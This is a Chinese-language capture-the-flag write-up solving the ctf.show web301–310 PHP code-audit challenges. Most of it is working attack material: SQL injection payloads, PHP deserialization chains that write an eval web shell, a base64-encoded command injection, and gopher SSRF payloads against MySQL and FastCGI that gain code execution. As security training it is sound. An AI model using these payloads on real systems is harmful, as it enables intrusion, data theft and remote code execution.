web301 checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0 ); session_start(); require 'conn.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){ $_SESSION['error' ]="1" ; header("location:login.php" ); return ; } if (!strcasecmp($userpwd,$row['sds_password' ])){ $_SESSION['login' ]=1 ; $result->free(); $mysqli->close(); header("location:index.php" ); return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?>
在 checklogin.php
可以发现直接拼接字符串的 sql
注入,没有任何过滤。绕过后在 index.php
中版本号处找到 flag
。 payload: userid=aaaa' union select 'aaaa' %23&userpwd=aaaa
web302 这题和上题的代码链接是一样的。。。 直接给出修改了什么可还行,本来还想 diff 的。审了个寂寞。。。
1 2 if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){
这里 sds_decode 在 fun.php 里面
1 2 3 function sds_decode ($str) { return md5(md5($str.md5(base64_encode("sds" )))."sds" ); }
按这个构造下 payload
1 2 var_dump(md5(md5("bbb" .md5(base64_encode("sds" )))."sds" ));
POST /checklogin.php userid=aaa’ union select ‘9316b783c54ecd0059abac8d105ff4a0’ %23&userpwd=bbb
flag 位置不变
web303 checklogin.php 的 userid 增加了长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); session_start(); require 'conn.php' ;require 'fun.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; if (strlen($username)>6 ){ die (); } $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){ $_SESSION['error' ]="1" ; header("location:login.php" ); return ; } if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){ $_SESSION['login' ]=1 ; $result->free(); $mysqli->close(); header("location:index.php" ); return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?>
不过在 fun.php 和 sds_user.sql 中给出了弱密码提示 admin/admin
1 2 3 4 5 6 7 <?php function sds_decode ($str) { return md5(md5($str.md5(base64_encode("sds" )))."sds" ); } echo sds_decode("admin" );?>
sds_user.sql
1 2 3 4 5 6 7 8 9 SET FOREIGN_KEY_CHECKS=0 ;DROP TABLE IF EXISTS `sds_user` ;CREATE TABLE `sds_user` ( `id` int (11 ) NOT NULL AUTO_INCREMENT, `sds_username` varchar (255 ) DEFAULT NULL , `sds_password` varchar (255 ) DEFAULT NULL , PRIMARY KEY (`id` ) ) ENGINE =InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET =utf8; INSERT INTO `sds_user` VALUES ('1' , 'admin' , '27151b7b1ad51a38ea66b1529cde5ee4' );
使用 admin/admin 登录后,dptadd.php 中的 insert 语句为直接拼接,可以直接查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /dptadd.php HTTP/1.1Host : 94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Length : 154Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=3pa7egrnfbseqe3mvbcr3k1cp5Connection : closedpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(payload);%23&dpt_telephone_number=a
payloads:
1 2 3 4 select group_concat (schema_name) from information_schema.schemataselect group_concat (table_name) from information_schema.tables where table_schema=database ()select group_concat (column_name) from information_schema.columns where table_name='sds_fl9g' select flag from sds_fl9g
flag 在数据库里
web304 提示加了个全局 waf,没看懂
1 2 3 function sds_waf ($str) { return preg_match('/[0-9]|[a-z]|-/i' , $str); }
没看出和上题有什么区别,也没给源码。。。一样的方式接着打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /dptadd.php HTTP/1.1Host : c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Length : 155Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=rapobb3n0f461d9tjujqijivb5Connection : closedpt_name=a&dpt_address=a&dpt_build_year=2022-06-16&dpt_has_cert=on&dpt_cert_number=a',sds_telephone=(select flag from sds_flaag);%23&dpt_telephone_number=a
web305 给源码喽!这次给 dptadd.php 加了个好长的 waf,应该是给注入封上了。 checklogin.php 又新增了不需要登录的反序列化,还加了个 class.php,__destruct 写文件可还行。。。 checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); session_start(); require 'conn.php' ;require 'fun.php' ;$_POST['userid' ]=!empty ($_POST['userid' ])?$_POST['userid' ]:"" ; $_POST['userpwd' ]=!empty ($_POST['userpwd' ])?$_POST['userpwd' ]:"" ; $username=$_POST['userid' ]; if (strlen($username)>6 ){ die (); } $userpwd=$_POST['userpwd' ]; $sql="select sds_password from sds_user where sds_username='" .$username."' order by id limit 1;" ; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows<1 ){ $_SESSION['error' ]="1" ; header("location:login.php" ); return ; } if (!strcasecmp(sds_decode($userpwd),$row['sds_password' ])){ $_SESSION['login' ]=1 ; $result->free(); $mysqli->close(); header("location:index.php" ); return ; } $_SESSION['error' ]="1" ; header("location:login.php" ); ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class user { public $username; public $password; public function __construct ($u,$p) { $this ->username=$u; $this ->password=$p; } public function __destruct () { file_put_contents($this ->username, $this ->password); } }
于是构造 cookie 写 shell,蚁剑查数据库拿 flag。
1 2 3 4 5 6 7 8 9 10 <?php class user { public $username; public $password; } $a = new user(); $a->username = "/var/www/html/sh.php" ; $a->password = "<?php eval(\$_POST[1]); ?>" ; echo urlencode(serialize($a));
POST /checklogin.php Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fsh.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D
web306 这次去掉了 user 写文件的方法,增加了另外两个类,这里发现可以 dao 和 log 两个类配合反序列化写文件。 pop chain: $dao->_destruct()=>$log->close()=>file_put_contents()
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class user { public $username; public $password; public function __construct ($u,$p) { $this ->username=$u; $this ->password=$p; } } class dpt { public $name; public $address; public $build_year; public $have_cert="0" ; public $cert_num; public $phone; public function __construct ($n,$a,$b,$h,$c,$p) { $this ->name=$n; $this ->address=$a; $this ->build_year=$b; $this ->have_cert=$h; $this ->cert_num=$c; $this ->phone=$p; } } class log { public $title='log.txt' ; public $info='' ; public function loginfo ($info) { $this ->info=$this ->info.$info; } public function close () { file_put_contents($this ->title, $this ->info); } }
dao.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php require 'config.php' ;require 'class.php' ;class dao { private $config; private $conn; public function __construct () { $this ->config=new config(); $this ->init(); } private function init () { $this ->conn=new mysqli($this ->config->get_mysql_host(),$this ->config->get_mysql_username(),$this ->config->get_mysql_password(),$this ->config->get_mysql_db()); } public function __destruct () { $this ->conn->close(); } public function get_user_password_by_username ($u) { $sql="select sds_password from sds_user where sds_username='" .$u."' order by id limit 1;" ; $result=$this ->conn->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if ($result->num_rows>0 ){ return $row['sds_password' ]; }else { return '' ; } } }
dao.php 引入了 class.php,所以只要找到引入了 dao.php 且有反序列化的点就好了,那就是 index.php:
1 2 3 4 5 6 7 8 9 10 11 <?php session_start(); require "conn.php" ;require "dao.php" ;$user = unserialize(base64_decode($_COOKIE['user' ])); if (!$user){ header("location:login.php" ); } ?> <!doctype html>
构造 cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class dao { public $conn; } class log { public $title; public $info; } $d1 = new dao(); $l1 = new log(); $l1->title = "/var/www/html/sh.php" ; $l1->info = "<?php @eval(\$_POST[1]); ?>" ; $d1->conn = $l1; echo "user=" .urlencode(base64_encode(serialize($d1)));
蚁剑连接,flag 在 flag.php
web307 上道题 log->close 方法被改了名用不了了。找了一条新链子可以执行命令。 /controller/logout.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start(); error_reporting(0 ); require 'service/service.php' ;unset ($_SESSION['login' ]);unset ($_SESSION['error' ]);setcookie('user' ,'' ,0 ,'/' ); $service = unserialize(base64_decode($_COOKIE['service' ])); var_dump($service); if ($service){ $service->clearCache(); } setcookie('PHPSESSID' ,'' ,0 ,'/' ); setcookie('service' ,'' ,0 ,'/' ); header("location:../login.php" ); ?>
这里可以调用 dao->clearCache 实现命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class config { public $cache_dir = "cache/* && echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4g'|base64 -d > /var/www/html/sh.php #" ; } class dao { public $config; function __construct () { $this ->config= new config(); } } $d1 = new dao(); echo urlencode(base64_encode(serialize($d1)));
蚁剑连接密码 1,flag 在 flag.php。
web308 上题的方法加上了正则的限制,应该是封死了。 这题一开始是走到了可以 curl 读文件的步骤,但是因为之前没打过 ssrf gopher 就卡在这里了,找了下师傅们的 wp 才知道要 ssrf gopher 打 mysql 写 shell,学到了。 pop chain: index.php=>unserialize&&$dao->checkVersion()=>checkUpdate()=>curl_exec() SSRF
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php session_start(); error_reporting(0 ); require 'controller/service/service.php' ;if (!isset ($_SESSION['login' ])){header("location:login.php" ); } $service = unserialize(base64_decode($_COOKIE['service' ])); if ($service){ $lastVersion=$service->checkVersion(); } ?> <!doctype html>
这里 header("location:xxxx")
了但是没 return,burp 抓到还是有内容的,浏览器只能看到 302。 构造 cookie: 这里用到了工具 https://github.com/tarunkant/Gopherus 构造 gopher 的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class config { public $update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01" ; } class dao { public $config; function __construct () { $this ->config= new config(); } } $d1 = new dao(); echo urlencode(base64_encode(serialize($d1)));
然后蚁剑连 shell 读 flag
web309 和上题一样打 gopher,不过提示 mysql 加了密码,还可以打 fastcgi。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class config { public $update_url = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH84%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00T%04%00%3C%3Fphp%20system%28%27tac%20/var/www/html/flaaaaaagg.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" ; } class dao { public $config; function __construct () { $this ->config= new config(); } } $d1 = new dao(); echo urlencode(base64_encode(serialize($d1)));
web310 前两个不通了,读 file:///etc/nginx/nginx.conf
可知 flag 路径。
1 2 3 4 5 6 7 8 9 10 server { listen 4476; server_name localhost; root /var/flag; index index.html; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }
构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class config { public $update_url = "http://localhost:4476/" ; } class dao { public $config; function __construct () { $this ->config= new config(); } } $d1 = new dao(); echo urlencode(base64_encode(serialize($d1)));
代码审计部分到此结束。